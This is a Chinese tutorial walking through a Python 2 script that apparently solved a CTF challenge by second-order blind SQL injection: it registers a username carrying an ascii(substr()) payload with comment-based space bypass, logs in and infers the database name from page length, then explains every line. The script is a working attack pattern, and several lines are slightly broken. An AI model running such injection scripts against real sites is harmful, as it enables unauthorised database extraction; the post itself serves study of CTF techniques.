可进行二次注入的漏洞利用代码
总代码:
#!/usr/bin/env python
#coding:UTF-8("")
__author__='T1m0n'
import requests
def getdata(pos,payload_chr):
'''
:param pos:盲注点
:param payload_chr:字符串
:return:如果pos位置是payload_chr,则返回payload chr,反之则返回空
'''
#网络环境比较差,经常出现502的情况,当返回502或者其他信息时,使用try再次执行本函数
try:
#用户名注意看后面的payload,这里的payload的意义为返回第一个数据库,并按位截取
user='zaaa\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1),%d,1))=%d/**/and/**/\'1'\'=\'1'%(pos,ord(payload_chr)
#密码,只在登录时起作用
passwd='aaaaaa'
#注册机登录的url
url_login='http://web.I-ctf.com:55533/check.php'
#注册时post的数据
resign_data={
'user':user,
'pass':passwd,
'vrtify':'1',
'typer':'0',
'register':'%E6%B3%A8%E5%86%8C',
}
#负责发送注册请求
r0=requests.post(url_login,resign_data)
r0.close()
#登录刚才注册的账号
login_data={
'user':user,
'pass':passwd,
'vrtify':'1',
'typer':'0',
'login':'%E7%99%BB%E9%99%86',
}
r1=requests.post(url_login,login_data)
#截取返回头中的cookie,方便我们进入下一步的登录用户中心
cookie=r1.headers['Set-Cookie'].split(';')[0]
r1.close()
#用户中心登录
url_center='http://web.I-ctf.com:55533/ucenter.php'
headers={'cookie':cookie}
#登录用户中心
r2=requests.get(url_center,headers=headers)
res=r2.content
#如果返回的帐长度大于700,则证明这个位置的字符串是正确的,并返回这个字符串;如果小于700,则返回空
if len(res)>700:
print payload_chr,ord(payload_chr)
return payload_chr
else:
print '.',
return "
except:
getdata(pos,payload_chr)
if__name__=='__main__':
payloads='abcdefghjklmnopqrstuwxyz1234567890@_{},'
res="
for pos in range(1,20):
for payload in payloads:
res +=getdata(pos,payload)
print res
#附上注入结果
#user--lctf
#database--web_200
#table--user
#column--d,admin,pass
代码详细解释:
#!/usr/bin/env python
这是一个称为 shebang 的特殊注释,位于脚本文件的开头,以 #! 开头,后面跟着一个可执行程序的路径。在这种情况下,#!/usr/bin/env python指示操作系统使用环境变量中定义的Python解释器来执行该脚本。
当你在Linux或类Unix系统上运行一个脚本时,操作系统会读取这个 shebang 注释,并尝试使用指定路径的解释器来执行脚本。在这个例子中,/usr/bin/env 是一个用来在用户的环境变量中搜索可执行程序的工具,而python是要执行的解释器。
使用这种方法可以确保在不同系统上都能正确地找到Python解释器,而不需要硬编码特定的解释器路径。这在多个系统上共享和执行脚本时非常有用,因为不同的系统可能将Python解释器安装在不同的位置。
/usr/bin/env
是一个用于在用户的环境变量中搜索可执行程序的工具。当操作系统读取shebang注释时,它会调用/usr/bin/env
,然后env
程序会查找系统环境变量中定义的可执行程序,找到Python解释器并将其作为参数传递给env
。
通过使用/usr/bin/env python
,我们不需要指定具体的Python解释器路径,而是依赖于系统中设置的环境变量来找到Python解释器。这使得脚本更具可移植性,因为不同系统可能将Python解释器安装在不同的位置。
但是需要注意的是,这种方式仍然依赖于正确配置的环境变量。如果系统中没有正确设置Python解释器的环境变量,那么/usr/bin/env python
就无法找到Python解释器。
总结一下,#!/usr/bin/env python
可以在大多数常见的Unix和类Unix系统上找到Python解释器,前提是系统中正确设置了Python解释器的环境变量。
#coding:UTF-8("")
在 Python 中,#coding:UTF-8
是用来指定文件编码的,它不是通过注释符号 #
来注释掉的。这行代码实际上是被解释器识别并用于确定源文件的编码格式的。
在 Python 2 中,为了指定源文件的编码格式,可以在代码文件的开头添加类似 #coding:UTF-8
这样的注释。在 Python 3 中,Python 引入了 Unicode 字符串和默认编码 UTF-8,因此通常不再需要显式地声明文件编码。
所以,在 Python 3 中,可以直接使用 Unicode 字符串,而无需在代码中指定文件编码
__author__='T1m0n'
__author__
是 Python 中的一个特殊变量,用于指定模块的作者信息。它是一个变量名,用于存储字符串类型的作者信息。
在 Python 中,以双下划线开头和结尾的变量或方法名被称为“魔法方法”(Magic Method)或“特殊方法”(Special Method)。这些方法具有特殊的含义,通常由 Python 解释器自动调用,而不需要显式地调用它们。
当你在编写 Python 模块时,可以使用 __author__
变量来指定模块的作者信息。这样,在其他人使用你的代码时,他们就可以清楚地知道你是谁,并联系你获取更多信息。(当然这个代码的作者信息不是指我哈)
import requests
import requests
: 导入 requests 模块,用于发送 HTTP 请求。
(requests 库是一个 Python 第三方库,它提供了简单易用的接口,用于发送 HTTP 请求和处理 HTTP 响应)
定义函数 getdata(pos, payload_chr)
:主要功能是在进行SQL盲注时,判断某个指定位置上的字符是否符合预期。
该函数共有两个参数:
pos
:表示待查询数据的位置。payload_chr
:表示待查询的字符。
函数内部主要实现了以下几个逻辑步骤:
- 构造SQL盲注语句
通过在SQL语句中使用 substr()
函数和 ascii()
函数,构造出一个SQL查询语句,以获取指定位置上的字符,并将其转化为ASCII码值,最后与输入的 payload_chr
进行比较,从而判断该位置上的字符是否符合预期。
- 发送HTTP请求
使用 requests
库发送HTTP请求,通过向服务器发送登录请求,获取到目标页面返回的内容。
其中包括注册机登录请求和用户中心登录请求。在注册机登录请求中,使用构造好的SQL语句进行查询,从而获取到指定位置上的字符;在用户中心登录请求中,主要是通过获取Cookie,进一步进行用户中心的操作。
- 判断结果
通过判断返回结果长度来判断查询结果是否正确。如果返回结果长度大于700,则证明该位置上的字符是正确的,返回该字符;否则返回空字符串。
- 异常处理
'''
:param pos:盲注点
:param payload_chr:字符串
:return:如果pos位置是payload_chr,则返回payload chr,反之则返回空
'''
''' 或 """
可以用作多行注释的符号。在 Python 中,它们被称为文档字符串(docstring)。
与常规的注释不同,文档字符串可以跨越多行,并且可以用来提供更详细的函数、类或模块的说明文档。文档字符串位于函数、类或模块的开头,可以通过 __doc__
属性访问。
要调用 __doc__
属性,只需使用对象后跟句点再加上 __doc__
即可。在上面的示例中,greet.__doc__
就是访问函数 greet
的文档字符串。通过打印这个属性,可以输出函数的说明信息。
示例:
def greet(name):
"""This function greets the person with the given name."""
return "Hello, " + name + "!"
# 访问函数的文档字符串
print(greet.__doc__)
因为代码太长,为了方便观看,所以以下该代码只截取一部分内容
#当时网络环境比较差,经常出现502的情况,当返回502或者其他信息时,使用try...except再次执行本函数
try:
except:
getdata(pos,payload_chr)
由于网络环境可能不稳定,该函数中使用 try...except...
机制进行异常处理,当出现异常时,会再次执行该函数,直到获得正确的结果。
在这段代码中,except
语句用于捕获 try
语句中可能出现的任何异常,并调用名为 getdata
的函数。这里的 getdata
函数是递归调用自身,即在发生异常时重新执行当前函数,直到成功返回一个有效结果或达到一定的尝试次数为止。
(具体来说,当在 try
语句块中执行注册、登录和访问用户中心的操作时,如果发生异常,就会跳转到 except
语句中,并执行 getdata(pos, payload_chr)
。其中,pos
和 payload_chr
是作为参数传递给 getdata
函数的,它们表示当前正在尝试猜测的字符位置和字符值。)
user='zaaa\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1),%d,1))=%d/**/and/**/\'1'\'=\'1'%(pos,ord(payload_chr)
user='zaaa\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1)),%d,1)=%d/**/and/**/\'1'\'=\'1'%(pos,ord(payload_chr)
这行代码中,user
变量被设置为一个包含 SQL 查询语句的字符串。
- 代码中使用了注释符号
/**/
来绕过空格的检测。 (SCHEMA_NAME)
括号的作用是将SCHEMA_NAME
看作一个整体,以便于在后面通过FROM information_schema.SCHEMATA
语句从信息模式中获取数据。
如果不加括号,那么这个查询可能会被解析为
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 0,1
其中SCHEMA_NAME FROM
将被视为一个错误的表名,导致查询失败。
因此,必须使用括号将SCHEMA_NAME
括起来,以使其能够被正确地解析和执行。
-
%d
是格式化字符串的占位符,用于表示一个整数值。这种占位符通常在编程语言中用来指示需要在字符串中插入一个整数值,并且根据具体的上下文动态地填充相应的数值。 -
在这个特定的例子中,%(pos, ord(payload_chr))
表示将pos
和ord(payload_chr)
这两个变量的值格式化到字符串中对应的位置。%d
会被变量pos
和ord(payload_chr)
所代替。其中:
pos
可能代表了要提取的子字符串的起始位置
ord(payload_chr)
可能代表了要比较的目标字符的ASCII码值
ord(payload_chr)
是Python中的一个内置函数,用于返回给定字符的Unicode码点(整数表示)。它的使用方式是将要获取Unicode码点的字符作为参数传递给ord()
函数。
例如,如果你有一个字符 'A'
,想要获取它的Unicode码点,你可以使用 ord('A')
,它将返回数字 65,对应于字符 'A'
的Unicode码点。
在SQL注入攻击中,ord(payload_chr)
的作用是获取待比较的目标字符的ASCII码值。通过使用ord()
函数,可以将字符转换为相应的整数,以便进行比较操作,在Python中,ord()
函数返回的是Unicode码点(整数表示)。
Unicode是包括ASCII字符集的,ASCII中的字符在Unicode中有相同的码点。
ASCII (American Standard Code for Information Interchange)是一个最初设计用于表示基本拉丁字母、数字和符号的7位编码方案。它定义了128个字符,包括控制字符(如回车、换行等)和可打印字符(如字母、数字、符号等)。ASCII码点表示了每个字符在ASCII编码表中对应的位置,它的范围是0~127。
而Unicode是一种比ASCII更为全面的字符编码方案,旨在涵盖全球范围内的所有字符集。Unicode的码点值可以是任意整数,因此它的范围相当大。
- 该代码中有两个%d,
第一个%d
对应的是后面%(pos,ord(payload_chr)中的 pos
,用于指定要提取的字符串中的位置。
第二个 %d
对应的是后面%(pos,ord(payload_chr)中的ord(payload_chr)
,它用于获取待比较的目标字符的ASCII码值。
SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1
这是一个 SQL 查询语句,目的是从 information_schema.SCHEMATA
表中选择第一个模式(SCHEMA_NAME
)的名称。它可能是用于获取数据库模式信息的查询。
substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1)),%d,1)
在这部分代码中,使用了 substr()
函数来提取选定模式名称的某个字符。%d
是一个格式化字符串占位符,用于指定字符的索引位置。
ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1)),%d,1)=%d
这部分代码使用 ascii()
函数将提取的字符转换为 ASCII 值,并与给定的值进行比较。攻击者可以通过不断尝试不同的 ASCII 值来逐个猜测字符。
\'1'\'=\'1'
这是一个布尔表达式,始终为真。它用于在 SQL 查询中构造一个条件语句,以确保整个查询语句始终返回结果。这有助于绕过验证逻辑。
总体上,这段代码是一种试图通过 SQL 注入攻击来获取数据库模式名称的尝试
resign_data={
'user':user,
'pass':passwd,
'vrtify':'1',
'typer':'0',
'register':'%E6%B3%A8%E5%86%8C',
}
这部分代码是在构造一个 HTTP POST 请求的数据体,用于模拟用户注册时提交的表单数据。
并且确保其中的中文字符被正确编码,以便在网络上进行传输。
resign_data
是一个字典类型的变量,用于存储 POST 请求的参数和对应的值。
在这个字典中:
'user': user
表示将用户名放入请求参数中。'pass': passwd
表示将密码放入请求参数中。'vrtify': '1'
和'typer': '0'
可能是用于验证和标识类型的参数。'register': '%E6%B3%A8%E5%86%8C'
则是用 URL 编码表示的中文字符串 "注册"。在 URL 编码中,中文字符会以特定的格式进行编码,以便在 URL 中传输。%E6%B3%A8%E5%86%8C
是 "注册" 这两个汉字的 URL 编码表示形式。
这里的设置是根据实际的注册请求需求来构造的,'register'
参数可能是用来标识注册操作的动作类型。因为在实际的网络通信中,中文字符需要进行 URL 编码以避免乱码或传输错误,所以这里采用了 URL 编码格式。
#负责发送注册请求
r0=requests.post(url_login,resign_data)
r0.close()
使用 Python 的 requests 库发送一个 HTTP POST 请求,并将返回的响应对象保存在 r0
变量中。然后调用 close()
方法来关闭该响应对象,以释放资源。
为何要调用调用 close()
方法?
如果不调用 close()
方法,Python 中的垃圾回收机制会自动回收该响应对象,但这样可能会导致一些问题,例如不能立即释放网络资源或者无法处理错误的响应结果等等。因此,在实际的网络通信中,最好手动关闭响应对象以释放资源。
此外,requests.post()
方法的具体请求参数和数据体格式要求取决于实际的接口和服务端要求,可以根据实际需求进行设置。在这个示例代码中,url_login
是目标登录页面的 URL 地址,resign_data
是构造好的 HTTP POST 请求的数据体。
#登录刚才注册的账号
login_data={
'user':user,
'pass':passwd,
'vrtify':'1',
'typer':'0',
'login':'%E7%99%BB%E9%99%86',
}
这段代码是在构造登录账号的 HTTP POST 请求的数据体。和注册请求类似,login_data
也是一个字典类型的变量,用于存储登录请求的参数和对应的值。
'login': '%E7%99%BB%E9%99%86'
则是用 URL 编码表示的中文字符串 "登录"。在 URL 编码中,中文字符会以特定的格式进行编码,以便在 URL 中传输。 %E7%99%BB%E9%99%86
是 "登录" 这两个汉字的 URL 编码表示形式。
r1=requests.post(url_login,login_data)在干啥?为什么和前面的请求是同一个url_login
这部分代码是使用 Python 的 requests 库发送一个登录账号的 HTTP POST 请求,并将返回的响应对象保存在 r1
变量中。
通过在同一个 URL 上发送不同的请求,可以实现对同一服务端接口的多个不同操作,例如注册和登录。服务端根据请求参数的不同来进行相应的处理和逻辑判断,从而实现不同的功能。
#截取返回头中的cookie,方便我们进入下一步的登录用户中心
cookie=r1.headers['Set-Cookie'].split(';')[0]
截取返回头中的 cookie 是为了在登录成功后获取服务器返回的会话标识,以便在后续的用户中心访问中使用,确保用户的身份信息被正确识别。
如果不获取并设置这个 cookie,就无法保持用户的登录状态,后续的操作可能会出现权限验证问题或者需要重新登录。
在这段代码中,r1.headers['Set-Cookie']
用于获取 HTTP 响应头中的 Set-Cookie
字段,该字段包含了服务器返回的 cookie 信息。然后使用 split(';')[0]
对其进行分割和截取,以获取第一个 cookie 信息,并删除其中的一些附加信息。
具体来说,split(';')
将整个 cookie 字符串按照分号进行分割,得到一个包含多个子字符串的列表,然后 [0]
表示取列表中的第一个元素,即获取第一个 cookie 的信息。这样就能获取到单独的 cookie 值,以便后续使用。
split()
是 Python 中字符串对象的一个方法,用于将字符串按照指定的分隔符进行分割,并返回一个包含分割后子字符串的列表。这个方法可以用于字符串的处理和解析,特别是在需要根据特定分隔符将字符串拆分成多个部分时非常有用。
split()
方法的调用格式如下:
result = string.split(separator, maxsplit)
其中:
string
是要进行分割操作的字符串。separator
是分割字符串的分隔符,默认为 None,表示使用空格作为分隔符。maxsplit
是最大分割次数,可选参数。如果指定了该参数,则最多分割maxsplit-1
次,返回一个包含最多maxsplit
个元素的列表。
在之前提到的代码片段中,r1.headers['Set-Cookie']
返回的是一个字符串,然后通过 split(';')[0]
的方式使用分号作为分隔符,取第一个子字符串,从而截取出了需要的 cookie 信息。
r1.close()
关于 r1.close()
,它的作用是手动关闭之前发送的 HTTP 请求,以释放资源。在 Python 中使用 requests 库发送 HTTP 请求后,会得到一个响应对象,为了及时释放网络连接和其他资源,通常会在请求处理完毕后调用 close()
方法来手动关闭响应对象。这样做可以确保资源能够及时得到释放,避免出现连接泄漏等问题。
需要注意的是,虽然 Python 在执行完请求后会自动回收未关闭的响应对象,但手动调用 close()
方法可以更好地控制资源的释放,尤其是在大规模或长时间运行的程序中。一般来说,如果一个请求处理完毕后不再需要使用响应对象,就建议手动调用 close()
方法来及时释放资源
headers={'cookie':cookie}
headers={'cookie': cookie}
是为了在发送后续的请求时,将之前获取到的 cookie 信息作为请求头中的 Cookie
字段进行发送。
在 HTTP 协议中,服务器可以通过设置 Set-Cookie
响应头将一个或多个 cookie 信息传递给客户端。而客户端在后续的请求中,可以将这些 cookie 信息通过 Cookie
请求头字段发送给服务器,以便服务器能够识别和验证用户的身份。
在这段代码中,通过将 cookie 信息保存在 headers
字典中,并将其赋值给请求头中的 Cookie
字段,实现了将 cookie 信息带入后续请求的目的。这样就能在后续的访问中保持用户的登录状态,确保用户身份的正确识别。
#登录用户中心
r2=requests.get(url_center,headers=headers)
res=r2.content
这段代码的作用是发送一个 GET 请求到用户中心的 URL,并使用之前获取到的请求头信息(包括 cookie)来进行身份验证,然后将服务器返回的响应内容保存在变量 res
中。
requests.get()
的使用格式如下:
response = requests.get(url, headers=headers, params=params)
其中:
headers
是可选参数,用于设置请求头信息,包括 cookie、User-Agent 等。如果不需要设置请求头,可以省略该参数。params
是可选参数,用于设置查询字符串参数(GET 请求的参数)。如果不需要传递参数,也可以省略该参数。
在这段代码中,使用了之前获取到的请求头信息 headers
来构造 GET 请求,发送到名为 url_center
的用户中心 URL。服务器返回的响应内容保存在 r2.content
中,content
是响应对象的一个属性,表示响应的内容。
需要注意的是,r2.content
返回的是服务器返回的原始响应内容,以字节形式表示。如果需要对响应内容进行解析和处理,可以使用 r2.text
来获取响应内容的文本形式。例如,res = r2.text
将响应内容保存为字符串形式。
.content
是 requests
库中响应对象(Response)的一个属性,用于获取服务器返回的原始响应内容(用于获取响应内容的字节串形式)。
在 requests
库中,发送请求后会返回一个响应对象,这个对象包含了服务器返回的各种信息,例如状态码、响应头、响应内容等。.content
是响应对象的一个属性,可以用来获取服务器返回的原始二进制数据。
.content
返回的是一个字节串(bytes),表示服务器返回的原始数据。它可以用于获取文件、图片、视频等二进制数据,并进行保存或进一步处理。
需要注意的是,对于普通的文本内容,也可以通过 .text
属性获取响应内容的文本形式,而不必使用 .content
。.text
会自动根据响应内容的编码进行解码,返回一个字符串形式的响应内容。
if__name__=='__main__':
payloads='abcdefghjklmnopqrstuwxyz1234567890@_{},'
res="
for pos in range(1,20):
for payload in payloads:
res +=getdata(pos,payload)
print res
-
if __name__ == '__main__':
: 表示如果当前脚本被直接执行(而不是被作为模块导入),则执行紧随其后的代码块。这样做可以保证这部分代码只有在该脚本被直接运行时才会被执行,而当它被导入到其他模块时则不会执行。 -
for pos in range(1, 20):
: 这是一个循环语句,遍历了从1到19的整数,将每个整数赋值给变量pos
。 -
for payload in payloads:
: 这是另一个循环语句,遍历了payloads
中的每个字符,将每个字符赋值给变量payload
。 -
res += getdata(pos, payload)
: 这行代码调用了一个名为getdata
的函数,传入了两个参数pos
和payload
,并将返回的结果追加到变量res
中。
总的来说:
try:
#用户名注意看后面的payload,这里的payload的意义为返回第一个数据库,并按位截取
user='zaaa\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1)),%d,1)=%d/**/and/**/\'1'\'=\'1'%(pos,ord(payload_chr)
#密码,只在登录时起作用
passwd='aaaaaa'
#注册机登录的url
url_login='http://web.I-ctf.com:55533/check.php'
#注册时post的数据
resign_data={
'user':user,
'pass':passwd,
'vrtify':'1',
'typer':'0',
'register':'%E6%B3%A8%E5%86%8C',
}
#负责发送注册请求
r0=requests.post(url_login,resign_data)
r0.close()
#登录刚才注册的账号
login_data={
'user':user,
'pass':passwd,
'vrtify':'1',
'typer':'0',
'login':'%E7%99%BB%E9%99%86',
}
r1=requests.post(url_login,login_data)
#截取返回头中的cookie,方便我们进入下一步的登录用户中心
cookie=r1.headers['Set-Cookie'].split(';')[0]
r1.close()
#用户中心登录
url_center='http://web.I-ctf.com:55533/ucenter.php'
headers={'cookie':cookie}
#登录用户中心
r2=requests.get(url_center,headers=headers)
res=r2.content
#如果返回的帐长度大于700,则证明这个位置的字符串是正确的,并返回这个字符串;如果小于700,则返回空
if len(res)>700:
print payload_chr,ord(payload_chr)
return payload_chr
else:
print '.',
return "
except:
getdata(pos,payload_chr)
-
首先定义了一个 try-except 块,try 块内是尝试执行的代码,except 块则是捕获异常并处理的代码。
-
在 try 块中:
- 定义了一个用户名 user,其中 payload_chr 可能代表一个 ASCII 字符,用来逐位截取第一个数据库的名称。
- 定义了一个密码 passwd。
- 定义了注册机登录的 URL 和注册时 POST 的数据 resign_data。
-
接着使用 requests 库发送 POST 请求到注册机登录的 URL,以注册账号,并将返回的结果保存在 r0 中。
-
然后用注册好的账号信息,再次发送 POST 请求到登录 URL,以登录账号。
-
从返回的响应头中提取 cookie 信息,用于后续请求时的身份验证。
-
构造用户中心的 URL,设置请求头中的 cookie 信息,发送 GET 请求到用户中心,并将返回的内容保存在 res 中。
-
判断返回的内容长度是否大于 700,如果大于 700,则表示这个位置的字符串是正确的,打印出 payload_chr 和它的 ASCII 编码值,并返回该字符;否则继续尝试下一个字符。
-
如果 try 块中的代码出现异常,则会跳转到 except 块,并调用 getdata 函数进行递归调用,重新尝试获取数据。